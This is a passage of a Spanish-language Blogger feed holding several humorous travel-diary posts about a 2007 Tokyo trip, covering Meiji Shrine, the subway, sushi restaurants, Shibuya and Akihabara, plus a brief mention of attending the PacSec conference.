target="_blank"&gt;http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138061602803592850&lt;/a&gt;&lt;br /&gt;-----------------&lt;br /&gt;Luego de incrementar el numero de callos en los pies, el equipo se dirigio al districto de Aoyama (estacion Omotesando de la linea Ginza), este barrio es la version Japonesa de "Beverly Hills", es decir, un barrio en donde es mejor esconder la billetera (Para entender lo de "version japonesa", multipliquen por dos el precio que tienen en su cabeza).&lt;br /&gt;En este barrio, especificamente en el Aoyama Diamond Hall Hotel, es donde se realiza la conferencia titulada PacSec y la razon secundaria por la que nos encontramos aqui en Japon.&lt;br /&gt;Permitan que abramos parentesis para contarles que el Trainning que estaba pactado para el 27 o 28 de Noviembre se cancelo (Por lo que permitio al equipo recorrer mas Tokyo de lo esperado), de cualquier manera todavia queda la conferencia de una hora que se dara maniana a ultima hora.&lt;br /&gt;-----------------&lt;br /&gt;Conferencia: &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138202039644237794" target="_blank"&gt;http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138202039644237794&lt;/a&gt;&lt;br /&gt;Traductores en simultaneo:  &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138202052529139714" target="_blank"&gt;http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138202052529139714&lt;/a&gt;&lt;br /&gt;Cholula: &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138202061119074338" target="_blank"&gt; http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138202061119074338&lt;/a&gt;&lt;br /&gt;-----------------&lt;br /&gt;Luego de eso, nos dirigimos a la Meiji Shrine a pocas cuadras de donde nos encontraramos.&lt;br /&gt;El templo Meiji, fue construido en 1920 y reconstruido luego despues de la segunda guerra mundial (Notese que la guerra con Estados Unidos no solo fueron Hiroshima y Nagasaki, sino casi todo el territorio japones fue bombardeado y con ello, muchos del patrimonio cultural).&lt;br /&gt;Este templo fue construido en honor al emperador Meiji que fue el encargado de "Occidentalizar Japon" (O abrirle las puertas a occidente, para hacerlo mas claro). Por ejemplo, una de las leyes que realizo fue la de prohibir el uso de katanas (espada japonesa) en las calles.&lt;br /&gt;Si bien, no es uno de los mejores templos (en Kyoto nos esperan muchos mejores), es muy lindo e interesante visitarlo.&lt;br /&gt;-----------------&lt;br /&gt; Las estructuras de madera, anuncian la cercania del templo: &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138202099773780082" target="_blank"&gt;http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138202099773780082 &lt;/a&gt;&lt;br /&gt;Tarros de Sake? en la entrada: &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138202151313387746" target="_blank"&gt;http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138202151313387746&lt;/a&gt;&lt;br /&gt;Antes de entrar, a purificarse:  &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138202194263060818" target="_blank"&gt;http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138202194263060818&lt;/a&gt;&lt;br /&gt;                              &lt;div id="1fok" class="ArwC7c ckChnd"&gt;&lt;wbr&gt;              &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138202202852995442" target="_blank"&gt; http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138202202852995442&lt;/a&gt;&lt;br /&gt;El templo:  &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138202284457374322" target="_blank"&gt;http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138202284457374322 &lt;/a&gt;&lt;br /&gt;                 &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138202293047308930" target="_blank"&gt;http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138202293047308930&lt;/a&gt;&lt;br /&gt;Para pedir deseos, hay que largar algunos yenes:  &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138202262982537762" target="_blank"&gt;http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138202262982537762&lt;/a&gt;&lt;br /&gt;Deseos: &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138202250097635826" target="_blank"&gt; http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138202250097635826&lt;/a&gt;&lt;br /&gt;Por dentro: &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138202275867439698" target="_blank"&gt;http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138202275867439698 &lt;/a&gt;&lt;br /&gt;-----------------&lt;br /&gt;  Esto es todo por hoy, maniana posiblemente no visitemos mucho debido a que nos espera un dia de conferencia!&lt;br /&gt;&lt;br /&gt;Hasta pronto&lt;br /&gt;Cari y Nico&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-398499754651353982?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/398499754651353982/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=398499754651353982' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/398499754651353982'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/398499754651353982'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2007/11/cronicas-nipponas-5to-capitulo-en-busca.html' title='Cronicas Nipponas - 5to Capitulo - &quot;En busca del pescado crudo&quot;'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-8331846494823173483</id><published>2007-11-28T12:22:00.000-08:00</published><updated>2007-11-28T12:24:32.368-08:00</updated><title type='text'>Cronicas Nipponas - 4to Capitulo</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh3.google.com/nicowow/R03KPx0urLI/AAAAAAAAA90/iy5GyFpNbAI/DSC_3212.JPG?imgmax=640"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 320px;" src="http://lh3.google.com/nicowow/R03KPx0urLI/AAAAAAAAA90/iy5GyFpNbAI/DSC_3212.JPG?imgmax=640" alt="" border="0" /&gt;&lt;/a&gt;Konichiwa desde el imperio del sol,&lt;br /&gt;Uno de los problemas mas importantes que afronta nuestro equipo es la comunicacion verbal y gestual con los nativos. Si bien, problemas de comunicacion en el lenguaje eran esperados pese al entrenamiento previo en la lengua anglosajona por excelencia, lo que llamo la atencion de nuestros aventureros fue el lenguaje gestual.&lt;br /&gt;Como se imaginaran, ni "Si" ni "Yes" funcionan para afirmar, tampoco se puede asentir, conociendo ya que ese gesto es reservado para la famosa reverencia japonesas. (Hasta el dia de la fecha, el equipo no ha ubicado el gesto adecuado, hay una suerte de paso clasico de danza moderna, en el cual uno pone las manos sobre la cabeza, pero no esta verificado en la practica).&lt;br /&gt;Como ocurre con "Si", la palabra "No" tampoco funciona en japones -Se dice Lee-, y como ya a esta altura se habran imaginado, mover la cabeza de lado a lado tampoco funciona. Lo que si funciona, es hacer una cruz con los dedos (o los brazos, si quiere ponerse mas enfasis) e inclinarla unos 45 grados, como lo indica la siguiente fotografia donde un japones nos advierte amablemente que no lo fotografiemos. (La senia, hecha con los dedos y en el contexto de un restaurant, sirve tambien para pedir la temida cuenta despues de saborear algun manjar).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para ustedes lectores, que insistieron en ver fotografias de los expedicionarios, les dejamos una:&lt;br /&gt;&lt;a href="http://picasaweb.google.com/nicowow/28112007/photo#5137985075076312098" target="_blank"&gt;http://picasaweb.google.com&lt;wbr&gt;/nicowow/28112007/photo&lt;wbr&gt;#5137985075076312098 &lt;/a&gt; que en vez de Wally, el juego se llama "Busca a Cari".&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh4.google.com/nicowow/R03KNB0urCI/AAAAAAAAA8s/iTeEPhWmB5w/DSC_3200.JPG?imgmax=640"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px;" src="http://lh4.google.com/nicowow/R03KNB0urCI/AAAAAAAAA8s/iTeEPhWmB5w/DSC_3200.JPG?imgmax=640" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Hasta pronto !&lt;br /&gt;&lt;br /&gt;Nico &amp;amp; Cari&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-8331846494823173483?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/8331846494823173483/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=8331846494823173483' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/8331846494823173483'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/8331846494823173483'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2007/11/cronicas-nipponas-4to-capitulo.html' title='Cronicas Nipponas - 4to Capitulo'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-8054787671969413179</id><published>2007-11-28T07:39:00.000-08:00</published><updated>2007-11-28T07:48:39.108-08:00</updated><title type='text'>Cronicas Nipponas - 3er Capitulo - "Cari va al Central"</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh5.google.com/nicowow/R0zyTh0uqFI/AAAAAAAAA00/EBjbkCfBWJY/DSC_3113.JPG?imgmax=576"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 320px;" src="http://lh5.google.com/nicowow/R0zyTh0uqFI/AAAAAAAAA00/EBjbkCfBWJY/DSC_3113.JPG?imgmax=576" alt="" border="0" /&gt;&lt;/a&gt;Konichiwa queridos seguidores,&lt;br /&gt;El capitulo de hoy se llama "Cari va al central". No se asusten, no es la rutina diaria sino el trayecto que realizo la miembro del equipo femenino para llegar al BOJ (Bank of Japan, el Banco central de Japon), en donde tenia un intercambio estudiantil, perdon, cultural con un miembro de la institucion.&lt;br /&gt;&lt;br /&gt;Empecemos por el principio, la red de subtes es bastante sencilla.&lt;br /&gt;&lt;br /&gt;Aproximadamente, Tokyo tiene unas 35 lineas de subte y algunas mas de tren, que como dijimos en el capitulo 2, poco se diferencian de los subtes. Pero, aunque parezca estadisticamente imposible, manejarse en los subtes de Japon es bastante sencillo, y para ello, el equipo de investigacion forense dedico al maniana de hoy a investigarlo, a continuacion les presentaremos el case-of-study.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh4.google.com/nicowow/R0zyTR0uqEI/AAAAAAAAA0s/2-WDdBuRX_E/DSC_3112.JPG?imgmax=512"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px;" src="http://lh4.google.com/nicowow/R0zyTR0uqEI/AAAAAAAAA0s/2-WDdBuRX_E/DSC_3112.JPG?imgmax=512" alt="" border="0" /&gt;&lt;/a&gt; El objetivo de la expedicion era llegar, sanos y salvos a la estacion Mitsukoshimae que se encontraba a dos cuadras del ya renombrado Bank of Japan donde Cari tendria un arduo dia de trabajo. Para ello, primero nos aventuramos a la estacion de Shibuya de subte, y escogimos entre las distintas lineas de subte posible, la "Ginza Line". El sistema es muy sencillo, y funciona con precision milimetrica, una vez que uno sabe la linea y la estacion, primero tiene que sacar el boleto , si uno no posee las tarjetas magicas recargables (SUICAS), tiene que ir a la expendedora automatica y sacar un ticket , el precio depende de la estacion a la que vaya, se recomienda preguntar en alguna casilla el precio adecuado.&lt;br /&gt;Ya con ticket, el sistema es muy simple. Hay dos posibilidades en una misma linea, ir para un lado o para otro (teniendo en cuenta, que los trenes tiene una estructura lineal), por lo que uno debe buscar cual estacion famosa esta para el lado que uno quiere ir, en este caso Ueno era la mas famosa, por lo que se escogio los subtes que 'van para Ueno'&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh5.google.com/nicowow/R0zyUh0uqII/AAAAAAAAA1M/jeylLtSSX8A/DSC_3116.JPG?imgmax=640"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px;" src="http://lh5.google.com/nicowow/R0zyUh0uqII/AAAAAAAAA1M/jeylLtSSX8A/DSC_3116.JPG?imgmax=640" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Lo demas es facil, simplemente subirse al subte y fijarse exactamente en que estacion bajarse&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh4.google.com/nicowow/R0zyVR0uqLI/AAAAAAAAA1k/29Oq3N88ZJE/DSC_3120.JPG?imgmax=576"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px;" src="http://lh4.google.com/nicowow/R0zyVR0uqLI/AAAAAAAAA1k/29Oq3N88ZJE/DSC_3120.JPG?imgmax=576" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh3.google.com/nicowow/R0zybB0uqaI/AAAAAAAAA3g/BzCA7GZGgJQ/DSC_3139.JPG?imgmax=512"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 320px;" src="http://lh3.google.com/nicowow/R0zybB0uqaI/AAAAAAAAA3g/BzCA7GZGgJQ/DSC_3139.JPG?imgmax=512" alt="" border="0" /&gt;&lt;/a&gt;El sistema es preciso y efectivo, olvidense de los piquetes en Carapachay. Como el caso lo demuestra, la excursion fue un exito, tanto de ida como de vuelta.&lt;br /&gt;Si todavia tienen dudas, este solidario mapache les explicara algunos detalles:&lt;br /&gt;&lt;br /&gt;Mientras Cari representaba a nuestra querida republica K, el resto de la expedicion se adentraron en el barrio centrico de Nihombashi -famoso por su puente, y por ser nuestro restaurant japones preferido en capital federal- y el barrio de Shinjuku (uno de los tantos barrios lleno de luces, colores, bares del Tokyo moderno).&lt;br /&gt;&lt;br /&gt;Una de las actividades en donde el grupo de etnologos ponen mas enfasis, es en las famosas artes culinarias de japon, este sera un tema recurrente en los distintos capitulos de esta cronica. En esta edicion vamos a poner enfasis en dos modalidades distintas: La expendedora de ticket de comida y el restaurant-mostrador de comida.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh4.google.com/nicowow/R0zyhR0uqrI/AAAAAAAAA5s/VXwSw3P7rF8/DSC_3169.JPG?imgmax=512"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px;" src="http://lh4.google.com/nicowow/R0zyhR0uqrI/AAAAAAAAA5s/VXwSw3P7rF8/DSC_3169.JPG?imgmax=512" alt="" border="0" /&gt;&lt;/a&gt;La &lt;span style="font-weight: bold;"&gt;expendedora de ticket de comida&lt;/span&gt;, nombre un tanto largo per descriptivo,  son restaurantes en donde en la entrada tienen como una maquina expendedora en la cual uno escoge que comida quiere, paga y esto le entrega un ticket. Una vez terminado el simple proceso, uno ingresa al recinto y se lo entrega al cocinero sin mas interaccion, el cual luego de cocinado, le entrega el plato deseado. Recomendado para japoneses en apuros o Gaijines (Extranjeros) cansados de lidear con los problemas de traduccion.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh4.google.com/nicowow/R0zylR0uq2I/AAAAAAAAA7I/GEQq6NFoPLg/DSC_3182.JPG?imgmax=576"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 320px;" src="http://lh4.google.com/nicowow/R0zylR0uq2I/AAAAAAAAA7I/GEQq6NFoPLg/DSC_3182.JPG?imgmax=576" alt="" border="0" /&gt;&lt;/a&gt;Los &lt;span style="font-weight: bold;"&gt;restaurant-mostrador&lt;/span&gt;, son aquellos templos culinarios que en la entrada tienen una vidriera con la mayoria de los platos del menu armados en plastico, por lo que los ignorantes extranjeros o los japoneses que gustan 'devorar con los ojos' pueden utilizarlo como un incentivo interesante a la hora de su eleccion.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Esto es todo por la edicion de hoy, el equipo esta documentando minuciosamente los estereotipos de Japoneses y promete una investigacion profunda sobre el tema en una futura edicion.&lt;br /&gt;&lt;br /&gt;Hasta la proxima&lt;br /&gt;Cari &amp;amp; Nico&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-8054787671969413179?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/8054787671969413179/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=8054787671969413179' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/8054787671969413179'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/8054787671969413179'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2007/11/cronicas-nipponas-3er-capitulo-cari-va.html' title='Cronicas Nipponas - 3er Capitulo - &quot;Cari va al Central&quot;'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-213514874599847512</id><published>2007-11-27T08:16:00.000-08:00</published><updated>2007-11-27T08:32:55.542-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='akihabara'/><category scheme='http://www.blogger.com/atom/ns#' term='flushing'/><category scheme='http://www.blogger.com/atom/ns#' term='japon'/><category scheme='http://www.blogger.com/atom/ns#' term='shibuya'/><category scheme='http://www.blogger.com/atom/ns#' term='sushi'/><category scheme='http://www.blogger.com/atom/ns#' term='niguiri'/><title type='text'>Cronicas de Tokyo  - 2da Parte</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh4.google.com/nicowow/R0wA5R0upbI/AAAAAAAAAuo/GfGvU3U0hC4/DSC_3049.JPG?imgmax=640"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 320px;" src="http://lh4.google.com/nicowow/R0wA5R0upbI/AAAAAAAAAuo/GfGvU3U0hC4/DSC_3049.JPG?imgmax=640" alt="" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;H&lt;/span&gt;enos aqui nuevamente desde nuestro humilde rincon,  para documentar minuciosamente las distintas experiencias en Tokyo.&lt;br /&gt;Por la maniana, el grupo de aventureros se adentro por las entranias mismas del barrio de Shibuya, barrio conocido por ser frecuentado por jovenes - como quienes les escriben- y tener multiplicidad de shopping y negocios - gran tentacion, para el miembro femenino de la expedicion-.&lt;br /&gt;Como se puede apreciar en la siguiente foto la travesia estuvo documentada con material fotografico y filmico, principalmente algunos momentos cruciales como el ya conocido cruce de Shibuya y algunas esquinas.&lt;br /&gt;&lt;br /&gt;La temperatura fue bastante baja, por lo que en aprovechando las cualidades del barrio, se decidio a comprar el equipamento necesario para la travesia. Esta experiencia, al parte de provechosa dejo unas cuantas reflexiones.&lt;br /&gt;&lt;br /&gt;Los japoneses, pese a lo que mundialmente se crea, son muy modernos y elegantes en su vestir. Al igual que en el cuidado meticuloso en la presentacion de su comida, el vestir japones es muy cuidado, lo cual, es acompanado de una gran oferta del mercado textil, que segun decidio el equipo, la pone en la posicion numero uno del ranking (Ni Madrid, ni NY).&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh5.google.com/nicowow/R0wBBh0upxI/AAAAAAAAAxc/O3DlM5raqHI/DSC_3083.JPG?imgmax=640"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px;" src="http://lh5.google.com/nicowow/R0wBBh0upxI/AAAAAAAAAxc/O3DlM5raqHI/DSC_3083.JPG?imgmax=640" alt="" border="0" /&gt;&lt;/a&gt;Es interesante como los japoneses ponen toda su tecnologia para las distintas areas comerciales, como se puede ver por ejemplo, en la siguiente foto, donde la pantalla muestra en tiempo real como queda una persona son diferentes tipos de maquillaje - Por razones de salud mental, evitamos la fotografia de los miembros masculinos del grupo-.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Finalmente, se cumplio uno de los objetivos del equipo y se comprobo la famosa calidad real del sushi Japones. Los platos estuvieron compuesto por toda clase de Niguiris (Pescado crudo acompaniado de una bola de arroz en la parte inferior), Miso-shiru (Sopa de Miso con Hongos) y Te verde. Todo esto por la modica suma de 1500 yenes.&lt;br /&gt;El dia continuo su curso, pero los heroes de esta historia se vieron abatidos por el jet-lag, por lo que precisaron un descanso de una hora -siesta, que solo tomo la miembro femenina del grupo- para luego continuar la expedicion por el famoso barrio de Akihabara.&lt;br /&gt;&lt;br /&gt;No querido publico, no es un local de ropa sino el famoso barrio Electronico en los suburbios de Tokyo. Para llegar alli, el equipo tuvo que utilizar todas sus habilidad matematicas para decifrar el complejo mapa de subtes y trenes - Dice una vieja leyenda, que si se suma la cantidad de letras, se resta el numero de estaciones y se divide por 3.14, el resultado dado es 666, pero queda a merced del lector creen en la veracidad del mismo-.&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh4.google.com/nicowow/R0wA_R0upsI/AAAAAAAAA0A/qBgebLoWojY/DSC_3073.JPG?imgmax=512"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 320px;" src="http://lh4.google.com/nicowow/R0wA_R0upsI/AAAAAAAAA0A/qBgebLoWojY/DSC_3073.JPG?imgmax=512" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Dejenme hacer un corte para detalles un poco como funcionan. Los trenes y subtes de tokyo,  no tienen mucho de trenes, tampoco tienen mucho de subte. Es decir, los trenes van por arriba y por abajo de la tierra, y los subtes lo mismo. Se conectan entre ellos, pese a ser diferentes.&lt;br /&gt;El equipo opto por tomar la linea de trenes Yamamoto Line perteneciente a la empresa JR con destino a la estacion Akihabara. El trecho tomo aproximadamente unos 30 minutos que por momentos se vivio con afixia por el exceso demografico en el interior del mismo.&lt;br /&gt;&lt;br /&gt;Finalmente, se llego a destino. Es muy dificil realmente recorrer todo Akihabara, tiene callecitas y callejuelas, algunos locales traen a la memoria el Once profundo, pero con un poco mas de prolijidad quizas. Todo tipo de aparato electronico, cable, tuerca, herramienta, revistas de comic japonesa, musica, etc se encontraba en los distintos locales desperdigados, aunque realmente, en el poco tiempo que estuvimos poco fue lo que pudimos ver.&lt;br /&gt;&lt;br /&gt;Simplemente nos dirigimos a Yodobashi Camera, un complejo de 8 pisos de un tamanio monstruoso - y sepan perdonar el adjetivo -, en donde cada piso correspondia a un tipo de articulo especifico (DVD/CD, Audio-Video, Camaras de Foto, etc). Si bien hay mucha variedad, en la masividad de los productos es dificil encontrar algo.&lt;br /&gt;Por lo que el equipo salio un tanto frustrado no pudiendo conseguir aquello anhelado.&lt;br /&gt;&lt;br /&gt;Cansados del recorrido, el equipo opto por una comida liviana, por lo que se dirigio al ultimo piso de Yodobashi en busca de pescado crudo, y lo encontro. La modalidad del local posiblemente tenga algun nombre especifico pero lo desconocemos, basicamente funciona de la siguiente manera: Tiene una cinta electronico -cual escalera mecanica- que gira por todo el local, uno se sienta en la barra y escoge el plato que quiera que suele contener dos niguiris del mismo tipo. Cada plato tiene un color distinto, y al final de la comida depende los colores de los platos es el dinero que paga.&lt;br /&gt;Muy moderado, el equipo solo comio 7 platos. Nuestro vecino de silla, nos sobrepaso y el era uno solo.&lt;br /&gt;&lt;br /&gt;El vecino de la derecha, pidio un plato del cual no pudimos obtener material fotografico, pero solo le podemos decir que se movia. Basicamente consistia por una bandeja con un platito chiquito que contenia sardinitas, y en la misma bandeja tenia un pescado de mediana altura que estaba atravesado por un palillo de brochet, el cual Cari alerto que habia abierto la boca, y despues de un tiempo de contemplarlo, se puedo observar que realmente, el pescado seguia vivo -Hasta donde el equipo sabe, el pescado no habia sido ingerido, pero era cuestion de tiempo hasta que ocurra, lo que obviamente se comprobo, era que realmente ese pescado era fresco-.&lt;br /&gt;&lt;br /&gt;Finalmente, el equipo realizo un fugaz paso por el banio donde noto que el inodoro tenia un peculiar boton llamado "Flush Buttom" - En otra edicion, ampliaremos sobre los banios japoneses y sus increibles cualidades-. El "Flush Buttom", como se comprobo, sirve para que el inodoro haga ruido como de tirar la cadena para tapar cualquier ruido molesto que uno pueda realizar cuando se encuentra en ese incomodo momento en un banio publico.&lt;br /&gt;&lt;br /&gt;Eso es todo por hoy, los dejo con algunas fotos del dia en la siguiente direccion: &lt;a href="http://picasaweb.google.com/nicowow/Tokyo27112007" target="_blank"&gt;http://picasaweb.google.com&lt;wbr&gt;/nicowow/Tokyo27112007&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Los queremos!&lt;br /&gt;&lt;br /&gt;Nico &amp;amp; Cari&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-213514874599847512?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/213514874599847512/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=213514874599847512' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/213514874599847512'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/213514874599847512'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2007/11/henos-aqui-nuevamente-desde-nuestro.html' title='Cronicas de Tokyo  - 2da Parte'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-385326485135551026</id><published>2007-11-26T21:45:00.000-08:00</published><updated>2007-11-26T21:53:48.217-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tokyo'/><category scheme='http://www.blogger.com/atom/ns#' term='shibuya'/><category scheme='http://www.blogger.com/atom/ns#' term='yakitori'/><category scheme='http://www.blogger.com/atom/ns#' term='messi'/><title type='text'>Kore wa nan des ka?</title><content type='html'>Hola!&lt;br /&gt;&lt;br /&gt;Llegamos finalmente despues 30 arduas horas de aviones -10 a Washington, 6 horas de espera, 13 y monedas a Tokyo- sin saber ya como acomodarnos en el asiento.  Pero henos aqui, 6.29 AM -Las 6.29PM hora Argentina-, en el mas profundo de nuestro insomnios -mentira, cari puede dormir y seguir durmiendo, nico no-. &lt;br /&gt;Bueno basta de pavadas y vamos al grano.  Nos encontramos en pleno centro de Tokyo, en la ciudad de Shibuya (famosa por el cruce de calles con 